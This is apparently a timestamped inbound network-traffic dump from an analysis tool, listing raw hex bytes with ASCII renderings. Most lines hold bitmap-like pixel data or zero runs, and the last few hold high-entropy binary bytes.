2023-06-01 10:14:27 UTC	54	IN	Data Raw: ff 08 73 0f ff 06 71 0d ff 05 70 0c ff 02 6d 0a ff 02 6e 09 ff 01 6f 0a ff 00 70 08 ff 00 6d 05 ff 03 70 0a ff 0e 73 0e ff 18 74 17 ff 27 7c 27 ff 3a 7b 3c ff 77 95 79 ff a1 a5 a2 ff b8 b2 b8 ff b4 b6 b4 ff ac b2 a9 ff a9 a9 99 ff a0 93 71 ff 91 90 74 ff 5d 8a 5d ff 3b 7c 3f ff 0a 6b 0d ff 02 71 0a ff 08 73 11 ff 09 71 10 ff 07 6f 0e ff 08 70 0f ff 09 73 10 ff 0a 70 10 ff 0b 72 10 ff 0b 70 0f ff 18 70 0f ff 2a 6e 0f ff 4f 68 0d ff 98 5e 0b ff a1 58 0a ff 9d 57 0a ff 99 56 09 ff 96 53 09 ff 91 51 09 ff 8d 4e 09 ff 89 4c 08 ff 85 4a 08 ff 81 48 08 ff 81 4a 0d ff 88 54 18 ff 90 5d 23 ff 92 61 29 ff 86 56 1f ff 63 35 04 ff 54 24 00 f9 1c 12 07 59 01 02 03 12 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: sqpmnopmpst'\|':{<wyqt]];\|?kqsqopsprpp*nOh^XWVSQNLJHJT]#a)Vc5T$Y
2023-06-01 10:14:27 UTC	62	IN	Data Raw: ff b6 79 35 ff b5 79 33 ff b5 77 32 ff b4 77 31 ff b4 77 31 ff b5 78 31 ff b6 77 31 ff b7 77 31 ff b6 77 31 ff b1 70 29 ff b9 93 6a ff d4 d9 e0 ff c2 c7 c8 ff 98 a5 9a ff a4 98 a4 ff ce c8 cf ff b9 ad bb ff a0 a4 a1 ff 90 89 8f ff a0 78 9a ff 93 71 8f ff 7d 7d 7e ff 8a 5d 7f ff 75 73 76 ff 7e 75 7f ff a6 a6 ab ff c1 c6 c9 ff be c2 c6 ff be c2 c6 ff be c2 c6 ff c1 c5 ca ff a7 ae b2 ff 8b 6f 44 ff 98 72 3c ff 98 73 3e ff 9a 74 3f ff 89 6d 3c ff 2d 52 31 ff 0e 42 28 ff 32 52 3b ff 6f 6c 6f ff 6e 6c 6e ff 6b 6c 6e ff 6f 65 56 ff 81 61 36 ff 73 68 50 ff 6f 6c 5f ff 6b 66 58 ff 6c 6a 61 ff 6d 6b 61 ff 6c 69 60 ff 68 64 5a ff 66 5e 4f ff 67 66 5b ff 60 53 3a ff 6a 51 2f ff 5a 4f 39 ff 97 a4 ad ff c3 c6 ca ff be c2 c6 ff be c2 c6 ff be c2 c6 ff be c2 c6 ff bd c1 Data Ascii: y5y3w2w1w1x1w1w1w1p)jxq}}~]usv~uoDr<s>t?m<-R1B(2R;olonlnklnoeVa6shPol_kfXljamkali`hdZf^Ogf[`S:jQ/ZO9
2023-06-01 10:14:27 UTC	70	IN	Data Raw: ff 33 2a 23 ff 34 22 15 ff 37 24 16 ff 3a 26 16 ff 39 25 15 ff 3a 25 15 ff 66 38 16 ff 71 3c 16 ff 6c 3a 14 ff 6a 3a 15 ff 74 44 20 ff 7e 51 2f ff 85 58 37 ff 7a 50 2e ff 4e 24 0a ff 2f 0f 01 df 0b 07 04 2b 00 00 01 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 01 02 03 11 32 19 06 9f 89 53 29 ff ac 72 46 ff ad 74 46 ff ad 73 44 ff aa 6d 3f ff a8 6b 3a ff a8 6a 3a ff a7 68 39 ff a8 69 39 ff a8 69 39 ff a8 69 39 ff a7 66 34 ff b5 8d 6f ff cb d2 d7 ff cd d0 d4 ff bc c9 bf ff ac 8c a6 ff 9e 6f Data Ascii: 3*#4"7$:&9%:%f8q<l:j:tD ~Q/X7zP.N$/+2S)rFtFsDm?k:j:h9i9i9i9f4oo
2023-06-01 10:14:27 UTC	78	IN	Data Raw: ff aa ad b1 ff d7 dc e0 ff d6 da dc ff b6 c2 cc ff 08 1c 7c ff 00 02 75 ff 43 87 6b ff 43 8a 6f ff 46 8f 6a ff 34 69 6e ff 00 00 72 ff 1a 36 84 ff c4 ce d3 ff d5 d8 db ff d4 d8 dc ff ca cd d2 ff 3a 3a 3c ff 27 27 27 ff 2c 2c 2c ff 2b 2b 2b ff 2d 2d 2d ff 29 29 29 ff 2d 2d 2d ff 28 27 27 ff 2e 2e 2f ff c0 c5 c9 ff d5 d9 dd ff d6 d9 dc ff b7 c5 ce ff 0b 21 7f ff 00 00 6f ff 3b 5d 9c ff 56 88 a8 ff 45 77 96 ff 2b 46 93 ff 00 00 6d ff 1b 34 8b ff ca d2 d7 ff d4 d8 db ff d6 db df ff b4 b8 bb ff 24 24 24 ff 21 21 21 ff 23 23 23 ff 20 20 20 ff 21 21 21 ff 21 21 21 ff 21 21 21 ff 1e 1e 1e ff 40 40 40 e1 5c 5c 5c b1 58 58 58 b3 58 58 58 b3 5c 5c 5c b3 5f 5f 5f b3 69 69 69 b2 8d 8d 8d df b1 b0 b1 ff b4 b4 b4 ff 96 96 96 ff 52 52 52 db 05 05 05 13 00 00 00 00 00 00 Data Ascii: \|uCkCoFj4inr6::<''',,,+++---)))---(''../!o;]VEw+Fm4$$$!!!### !!!!!!!!!@@@\\\XXXXXX\\\___iiiRRR
2023-06-01 10:14:27 UTC	86	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:27 UTC	94	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:27 UTC	101	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:27 UTC	109	IN	Data Raw: ff 8e 90 75 ff 8f 94 7d ff 80 8c 71 ff 65 7c 53 ff 63 7d 52 ff 47 75 33 ff 32 71 20 ff 33 6e 1b ff 37 6e 19 ff 3a 6f 1a ff 36 6e 16 ff 35 6e 14 ff 3c 6f 17 ff 3a 6f 12 ff 3b 70 0e ff 3e 71 0c ff 44 74 0d ff 4a 74 0d ff 52 76 0f ff 56 76 10 ff 5c 74 10 ff 64 76 10 ff 6e 76 0f ff 78 75 0f ff 83 76 0f ff 8e 75 0e ff 9a 74 0d ff a8 73 0d ff b5 74 0d ff c0 73 0b ff c9 72 0b ff cc 72 0b ff ca 70 0a ff c6 70 0a ff c1 6d 0a ff bc 6b 0a ff b7 67 0a ff b1 64 09 ff ac 61 09 ff a6 5e 09 ff a0 5a 09 ff 9a 57 09 ff 94 53 08 ff 8d 50 08 ff 88 4d 07 ff 8a 52 0f ff 95 5f 1f ff 99 65 28 ff 84 52 17 ff 62 30 00 ff 26 16 06 71 01 02 04 11 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 03 0e 20 14 06 5c 93 58 Data Ascii: u}qe\|Sc}RGu32q 3n7n:o6n5n<o:o;p>qDtJtRvVv\tdvnvxuvutstsrrppmkgda^ZWSPMR_e(Rb0&q \X
2023-06-01 10:14:27 UTC	117	IN	Data Raw: ff b8 87 b0 ff ac 86 a4 ff a8 6b 9b ff 93 91 94 ff 85 7e 85 ff 79 79 7a ff 8c 86 8e ff 71 67 71 ff 95 94 98 ff cb d0 d3 ff c8 cc d0 ff c8 cc d0 ff c9 cf d4 ff 9b 96 86 ff 96 70 38 ff 9b 77 42 ff ad 8e 63 ff 9f 83 5b ff 7e 65 44 ff 61 71 49 ff 42 63 43 ff 2b 29 2b ff 6c 55 36 ff 90 7b 5c ff 8e 86 7a ff 79 74 73 ff 7f 76 76 ff 8e 82 79 ff 9b 89 72 ff 73 6a 66 ff 54 49 3c ff 69 52 30 ff 8a 90 8e ff cb cf d4 ff c8 cc d0 ff cc cf d3 ff cd d0 d3 ff cc d0 d3 ff dc dd de ff b7 b5 b2 ff 82 7c 79 ff 66 63 67 ff 97 8b 7b ff b0 8d 5c ff c2 aa 85 ff d7 d8 da ff cb cf d3 ff cd d0 d4 ff cc d1 d6 ff ba b4 af ff 7c 48 1b ff 7a 41 0f ff 7b 42 11 ff 7c 42 11 ff 7c 43 12 ff 7a 43 12 ff 76 41 12 ff 73 40 11 ff 78 48 1b ff 86 56 2c ff 86 59 2f ff 61 35 11 ff 32 13 02 c1 06 05 Data Ascii: k~yyzqgqp8wBc[~eDaqIBcC+)+lU6{\zytsvvyrsjfTI<iR0\|yfcg{\\|HzA{B\|B\|CzCvAs@xHV,Y/a52
2023-06-01 10:14:27 UTC	125	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 24 24 48 8a 8a 8a cd c7 c7 c7 ff d1 d1 d1 ff d3 d3 d3 ff d6 d7 d6 ff db db da ff e0 e0 e0 ff e5 e5 e5 ff e9 e9 e9 ff ef ef ee ff ee ee ee ff 8a 8a 8a ff 32 32 32 ff 2c 2c 2c ff 2a 2a 2a ff 29 29 29 ff 26 26 26 ff 26 26 26 ff 27 27 27 ff 28 28 28 ff 27 27 27 ff 22 22 22 ff 53 55 56 ff cc d0 d5 ff ce d2 d4 ff 68 76 a7 ff 21 3a 96 ff 86 b7 e3 ff 4d 7f a5 ff 7e ac d5 ff 1b 32 84 ff 61 73 9d ff cf d2 d4 ff ce d2 d8 ff 88 8a 8e ff 23 23 22 ff 2b 2b 2b ff 29 29 29 ff 2a 2a 2a ff 29 29 29 ff 23 23 23 ff 8d 90 92 ff ce d2 d7 ff c7 cd d1 ff 3a 4c 8f ff 55 59 9a ff b5 be c5 ff 51 83 a5 ff 68 90 c7 ff 0b 1c 7c ff 93 9f b8 ff ce d1 d4 ff c5 c9 ce ff 4a 4b 4c ff 1c 1c 1c ff 21 21 21 ff 21 21 Data Ascii: $$$H222,,,*)))&&&&&&'''((('''"""SUVhv!:M~2as##"+++)))*)))###:LUYQh\|JKL!!!!!
2023-06-01 10:14:27 UTC	133	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:27 UTC	140	IN	Data Raw: ff e6 94 2f ff cd 8c 28 ff bb 94 3d ff bc 94 3b ff bc 95 3b ff bc 97 3b ff bd 98 3b ff bc 93 2e ff bc 92 27 ff bb 8f 21 ff ba 94 25 ff bd 8e 21 ff c1 8e 2f ff bb 8e 18 ff b9 8e 15 ff b9 8e 15 ff b8 8f 15 ff b8 8e 13 ff b8 8f 14 ff b7 8e 13 ff b4 8d 12 ff b4 8d 11 ff b4 8d 11 ff b4 8c 11 ff b3 8b 10 ff b1 8a 0e ff b0 89 0f ff ae 88 0d ff ad 87 0c ff ad 86 0b ff af 85 0d ff b5 86 13 ff c4 89 21 ff d4 8e 2d ff d9 92 33 ff d7 91 33 ff c8 88 25 ff b2 7e 10 ff ac 7c 0a ff ae 7d 0b ff ac 7a 0a ff ab 79 09 ff b2 77 0a ff c4 74 09 ff c3 70 08 ff ba 6b 08 ff b1 66 08 ff a7 60 08 ff 9e 5b 07 ff 95 56 07 ff 8f 54 09 ff 98 60 19 ff a0 6a 26 ff 80 4c 0f ff 42 22 03 ba 03 04 05 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 03 05 1f 5e 37 08 b5 ba 75 Data Ascii: /(=;;;;.'!%!/!-33%~\|}zywtpkf`[VT`j&LB"^7u
2023-06-01 10:14:27 UTC	148	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 07 02 40 7b 4c 26 f4 ae 75 47 ff ab 6e 42 ff a7 69 3c ff a6 68 3a ff a6 67 39 ff a7 68 39 ff bc af a6 ff c5 cc cc ff ab 8e a6 ff 8d 76 88 ff 81 6a 7d ff 46 3d 45 ff 16 17 16 ff 1b 1c 1b ff 1c 1b 1b ff 1e 1e 1e ff 20 20 1f ff 21 21 20 ff 23 23 23 ff 24 24 24 ff 26 25 25 ff 27 27 27 ff 28 28 28 ff 2a 2a 2a ff 29 29 29 ff 2b 2b 2b ff 29 29 29 ff 29 29 29 ff 2a 29 29 ff 29 28 28 ff 29 29 29 ff 27 27 27 ff 28 28 28 ff 27 27 27 ff 25 25 25 ff 24 24 23 ff 23 23 23 ff 24 24 24 ff 21 21 21 ff 21 21 21 ff 1f 1f 1f ff 1f 1f 1f ff 1d 1d 1d ff 1c 1c 1c ff 1b 1b 1a ff 1a 1a 1b ff 19 1b 1d ff 16 1a 1c ff 4d 2f 19 ff 6e 3b 15 ff 6c 3c 1a ff 7e 50 Data Ascii: @{L&uGnBi<h:g9h9vj}F=E !! ###$$$&%%'''(((**)))+++)))))))))(()))'''((('''%%%$$####$$$!!!!!!M/n;l<~P
2023-06-01 10:14:27 UTC	156	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:27 UTC	164	IN	Data Raw: ff c1 81 30 ff bf 7d 28 ff c3 a8 86 ff cd d0 d6 ff b6 ab b6 ff ac 95 a9 ff b5 9a b2 ff a5 92 a2 ff 89 7d 88 ff 94 84 98 ff c9 af 87 ff db a8 5d ff b3 a4 88 ff 69 6d 6c ff 21 28 2c ff 24 29 2c ff 26 2b 2e ff 26 2c 2e ff 27 2c 2f ff 27 2b 2f ff 26 2c 2e ff 25 2a 2d ff 24 29 2c ff 21 27 2a ff 27 2d 30 ff 6b 77 80 ff ca ce d3 ff c8 cc d1 ff c8 cb d0 ff d4 d6 d8 ff c4 c3 c4 ff af ae ad ff 9a 9d a0 ff ab b0 b7 ff d0 d3 d6 ff c8 cc d0 ff ca d0 d7 ff a5 7b 50 ff 93 4c 05 ff 90 4e 0a ff 89 4b 0a ff 82 47 0a ff 7b 43 09 ff 77 42 0c ff 84 52 20 ff 81 52 22 ff 49 22 04 e0 0b 07 04 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 07 03 2f 83 51 1a e6 bf 84 3c ff be 81 38 ff ba 7d 30 ff bb 7d 2f ff bd 7d Data Ascii: 0}(}]iml!(,$),&+.&,.',/'+/&,.%-$),!''-0kw{PLNKG{CwBR R"I"(/Q<8}0}/}
2023-06-01 10:14:27 UTC	172	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:27 UTC	179	IN	Data Raw: ff 1d 1d 1d ff 1a 1a 1a ff 19 19 19 ff 17 1b 1d ff 24 20 1d ff 65 37 16 ff 72 42 20 ff 7c 50 2f ff 32 17 08 b6 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 60 39 1f c8 b0 73 48 ff a3 68 3d ff 7d 50 30 ff 78 55 3e ff 80 7e 7f ff 68 66 69 ff 4f 4d 4f ff 3f 3e 3f ff 1f 1f 1f ff 23 23 23 ff 24 24 24 ff 27 27 27 ff 2a 2a 2a ff 2b 2b 2b ff 2c 2c 2c ff 2e 2e 2e ff 2d 2d 2d ff 2e 2e 2e ff 2f 2f 2f ff 2e 2e 2e ff 2f 2f 2f ff 2f 2f 2f ff 2d 2d 2d ff 2c 2c 2c ff 2b 2b 2b ff 29 29 29 ff 28 28 28 ff 27 27 27 ff 24 24 24 ff 21 21 21 ff 1e 1f 21 ff 3d 2a 1d ff 6d 39 15 ff 74 46 24 ff 75 49 2c ff 23 0e 04 91 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: $ e7rB \|P/2`9sHh=}P0xU>~hfiOMO?>?###$$$'''**+++,,,...---...///...//////---,,,+++)))((('''$$$!!!!=m9tF$uI,#
2023-06-01 10:14:27 UTC	187	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff 80 00 00 00 80 00 00 00 80 00 00 00 80 00 00 00 80 00 00 01 80 00 Data Ascii:
2023-06-01 10:14:27 UTC	195	IN	Data Raw: b6 73 52 ef f8 55 c6 bb d0 ba ec 86 ae fb 6d ab 3f ae 0a fb 94 81 46 f1 41 2d 87 1f f8 c1 79 58 f6 df 62 86 c9 e4 53 01 96 76 cc d3 c5 b7 5c 47 8c 31 de 82 45 49 06 8f 9a b5 e8 89 6f e7 e8 a4 39 61 43 f3 25 8b 93 fb 8c 14 70 be a3 aa b3 8e 20 f4 6e 30 fd c4 f3 d7 53 61 71 d2 3e 67 ec 74 48 e1 16 2d 9c be 53 9b 34 88 b5 08 d4 b4 9c d1 70 5a ff a2 17 58 81 29 f5 78 f0 36 82 88 d4 95 0c 69 a6 2b 6b b7 82 20 62 68 00 4e 6e 20 87 6f 40 48 eb 1b 9d 72 94 39 df 4d 2f ff 79 f3 c2 ed ca 97 aa 77 99 90 9d f8 78 1d 91 85 a9 7a 77 8c 76 a5 0f f8 fe 26 08 05 e8 5c a3 ec 80 98 fd ad c6 87 72 5a 4e f7 b7 b1 10 0a 6c f2 dd 9b bc 40 de c0 eb 3b 0d 25 86 bb 2b fd c6 9c 5a 54 ee 9d 98 17 4b 4f 25 5d 50 41 b6 d2 04 f4 e6 10 46 6a d3 27 d3 20 9b 87 4f bc 97 d5 80 2f 98 40 15 Data Ascii: sRUm?FA-yXbSv\G1EIo9aC%p n0Saq>gtH-S4pZX)x6i+k bhNn o@Hr9M/ywxzwv&\rZNl@;%+ZTKO%]PAFj' O/@
2023-06-01 10:14:27 UTC	203	IN	Data Raw: a2 99 f1 2c 57 c9 be 8d b3 78 2c 95 27 c0 0c 70 1d b1 d1 df 43 7c ba 30 9d e4 ea 7f 27 4f 29 b4 cc 3c 6a 77 0e dd 44 08 e0 28 d1 d0 08 1b c5 16 90 e4 0b 6b dd 5d 3b 86 be ad 3e 67 e1 32 a8 51 02 ac 0f 69 17 17 7c 92 7d 38 5d 54 62 1b fa 0a f4 c7 0d 5d 18 97 7b 74 82 cb bb d6 35 b7 6f 4c 75 cf 42 28 46 20 e6 05 4a 3c b4 6b 23 92 2c 19 5b da af 21 6f 89 ec 78 e4 ad d3 63 4f 78 cd 71 5e ab 57 93 3b 2b d6 29 78 84 00 e8 9a 75 9d 53 2f ae 01 c5 16 22 0c ac 96 16 83 43 18 8d 6b 4a ed dd 54 56 8d 4f 9e be 85 a0 68 c4 ae cc c5 05 31 03 7c 5d e8 0e 5d e3 32 e3 79 e3 e7 17 77 39 d0 d8 56 60 4f df 2a 7b e2 af 2a ae 60 52 d5 54 0d 52 9a 6d 80 71 3b 5e 99 7f 21 13 d7 bf 43 6d c5 40 d1 cb 81 78 98 b7 fb 3b 29 c3 67 ec a8 5d 5d 56 26 fd a9 51 9b e8 69 a6 46 8d 92 2f 19 Data Ascii: ,Wx,'pC\|0'O)<jwD(k];>g2Qi\|}8]Tb]{t5oLuB(F J<k#,[!oxcOxq^W;+)xuS/"CkJTVOh1\|]]2yw9V`O{`RTRmq;^!Cm@x;)g]]V&QiF/
2023-06-01 10:14:27 UTC	211	IN	Data Raw: ef e2 f5 32 27 b2 4b 10 3d b1 4a 92 b2 8c 61 10 43 58 2e 7a b1 e8 a3 98 15 52 66 02 a2 ea b5 da e2 9b b3 17 f9 b7 50 2d 7e 18 42 fa 21 04 aa 8a 04 be 06 6c b5 19 83 0b c6 73 02 c4 b0 81 08 7e d1 0f 44 d9 74 82 d0 af 6d 21 19 2d 78 db 47 f1 59 2c f9 e1 d3 80 ef 41 a7 58 50 8e 92 8e 00 ad 04 2d 5e cc de 9d 14 38 15 f8 e2 e2 44 e4 07 27 71 aa 20 0a df b9 52 b0 b9 60 df 91 be b3 d3 a4 a4 10 93 ef ac 1c 22 cc bc 09 cc 76 5b ff 61 3b f8 d4 00 70 4a d4 03 65 30 84 e7 08 07 ba dd b8 e1 94 54 e0 4f d0 1f 26 8d 47 fb aa 27 a1 40 bc 4c f9 ac 64 a7 98 34 25 e5 11 b2 37 69 7d 50 95 25 2c 95 8f 42 cd 6a 68 d4 10 18 67 70 fd c3 ae 61 0b f4 a5 3d 72 22 19 bc 67 6b fc d5 b4 86 10 22 54 ee ac ba 8c 21 18 f7 9c 78 e5 75 2f f0 3f 41 a5 45 13 5e cf 9a ec 14 5f db 57 83 80 6a Data Ascii: 2'K=JaCX.zRfP-~B!ls~Dtm!-xGY,AXP-^8D'q R`"v[a;pJe0TO&G'@Ld4%7i}P%,Bjhgpa=r"gk"T!xu/?AE^_Wj
2023-06-01 10:14:27 UTC	219	IN	Data Raw: 5a 4c 86 19 0f 33 46 dc 4d e4 ce ef 88 b7 0f 5b 34 81 f3 7e 4b ed 9b 57 ef 10 71 7d c0 fb 4f c3 4b cb 19 77 84 ed be 5f 41 00 8e 1a 23 ad ef 49 d2 4d a2 97 1c aa a3 e3 d6 4a f8 aa c9 bd aa 31 ea 62 34 1f 8e ad 1b d6 fa 58 00 73 f5 51 f9 fd 0e 60 99 0f aa bb 9b fc f4 a1 38 57 b2 84 3b e9 a6 7b 1f 3c 50 f5 33 31 3e 1c 0b da 10 52 c9 5d 05 4b ca ae 03 7d 0b 93 4f 02 00 3e 34 b1 66 4b c0 7d 52 27 a0 6a 82 c9 80 27 bf 65 9b c8 3c 3a 91 87 eb 83 5b fa 4f 0f 1f 3a d7 31 57 c3 8d 75 bd 27 91 99 ee b1 f7 8b e3 3f a9 e4 53 f0 a9 29 fb 74 35 91 96 01 12 03 f7 b4 7e 62 f8 2b 7a b2 ed 56 de aa ca 5a 65 cc 78 9b ec f9 8b 21 da cb 5f 67 3a aa ed 68 92 9a 33 19 a8 82 49 2a bd 36 97 c6 b0 a7 03 9a f8 7f b1 2e 14 4d 32 4d f5 5e b3 a3 94 f6 7b b8 3e 16 46 88 5d 93 de 95 b2 Data Ascii: ZL3FM[4~KWq}OKw_A#IMJ1b4XsQ`8W;{<P31>R]K}O>4fK}R'j'e<:[O:1Wu'?S)t5~b+zVZex!_g:h3I*6.M2M^{>F]
